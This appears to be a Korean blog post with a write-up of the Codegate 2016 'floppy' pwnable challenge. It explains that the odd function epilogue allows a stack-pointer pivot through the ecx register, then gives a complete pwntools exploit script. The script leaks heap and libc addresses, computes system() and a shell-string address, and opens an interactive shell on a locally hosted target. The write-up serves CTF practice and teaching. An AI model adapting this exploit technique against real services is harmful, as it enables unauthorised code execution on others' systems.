-
Codegate 2016 floppyPwnable/CTF 2017. 6. 10. 01:53
함수 에필로그 부분이 leave ret이 아니다.
이 문제의 중요한 부분이 에필로그부분이라고 할수있다. 다른거 없고 이 에필로그로 인해 바뀌는 esp ebp ecx edx 레지스터들을
gdb로 보면서 계산하고 core gdb로 분석하면서 계산하면서 풀수있다.
그리고 오버플로우 부분이있는데 ebp 전에 ecx edx 등 레지스터들이 끼어드는 바람에 ret까지 오버플로우를 할수가없다.
그래서 esp를 조작하여서 풀수있다.
최대한 빨리풀고 다른 문제를 풀자는 마음으로 시작하여서 함수도 안 쓰고 코드를 더럽게 짯다.다음에 시간 있을때 깔끔하게 만들어야겠다 ㅎㅎ123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899from pwn import *p=remote("127.0.0.1",19001)#p=process("./floopy")print p.recv(1024)p.sendline("1")print p.recvuntil('\n\n')p.sendline("1")print p.recvuntil('\n')p.sendline("2")print p.recvuntil('\n\n')p.sendline("CCCC")print p.recv(1024)p.sendline("CCCC")print p.recv(1024)p.sendline("1")print p.recv(1024)p.sendline("2")print p.recv(1024)p.sendline("2")print p.recv(1024)p.sendline("A")print p.recv(1024)p.sendline("A")print p.recv(1024)p.sendline("4")print p.recv(1024)p.sendline("1")print p.recv(1024) #descrp.sendline("Q"*20)print p.recv(1024)p.sendline("3")print p.recvuntil("Q"*20)heap = u32(p.recv(4))print hex(heap)print p.recvuntil('\n')p.sendline("1")print p.recvuntil('\n\n')p.sendline("1")print p.recvuntil('\n')p.sendline("4")print p.recvuntil('\n\n')p.sendline("1")print p.recvuntil('\n\n')payload="A"*10payload+="B"*2payload+="C"*4p.sendline(payload) # len(16)print p.recvuntil('\n')p.sendline("3")print p.recvuntil("C"*4)v8Pointer = u32(p.recv(4))ecx = v8Pointer +0x3cprint hex(v8Pointer)print hex(ecx)payload+=p32(v8Pointer) #len(20)payload+=p32(heap+4) #ecx esp len(24)payload+="\x90\x90\x90\x90" #ebx len(28)payload+="QQQQ" #ebp len(32)print p.recvuntil('\n')p.sendline("4")print p.recv(1024)print p.recv(1024)p.sendline("1")print p.recv(1024)p.sendline(payload)print p.recv(1024)p.sendline("3")print p.recvuntil("QQQQ")ret = u32(p.recv(4))libc_start_main = ret - 243system = libc_start_main+0x249f0cmd = system+0x11ee49print "__libc_start_main"+hex(ret)print hex(system)print hex(cmd)######Last Exploit ##############print "LAST START"print p.recv(1024)p.sendline("1")print p.recv(1024)p.sendline("1")print p.recv(1024)p.sendline("4")print p.recv(1024)p.sendline("2") #daprint p.recv(1024)p.sendline(p32(system)+p32(cmd)*2)print p.recv(1024)p.sendline("5")p.interactive()cs ecx레지스터를 위주로 변조하여서 문제를 풀었다.
로컬로 소켓을 열어서 그런지 원래 쉘이 따져야되는게 안따지는 경우가 있어서 이상한곳에서 삽질을 했다 ㄷㄷ..
'Pwnable > CTF' 카테고리의 다른 글
HITCON 2016 SecretHolder (0) 2017.07.11 Secuinside 2017 ohce (0) 2017.07.03 DEFCON 2017 smashme (0) 2017.05.02 BKPCTF cookbook (0) 2017.03.31 PlaidCTF 2014 kappa (0) 2017.03.14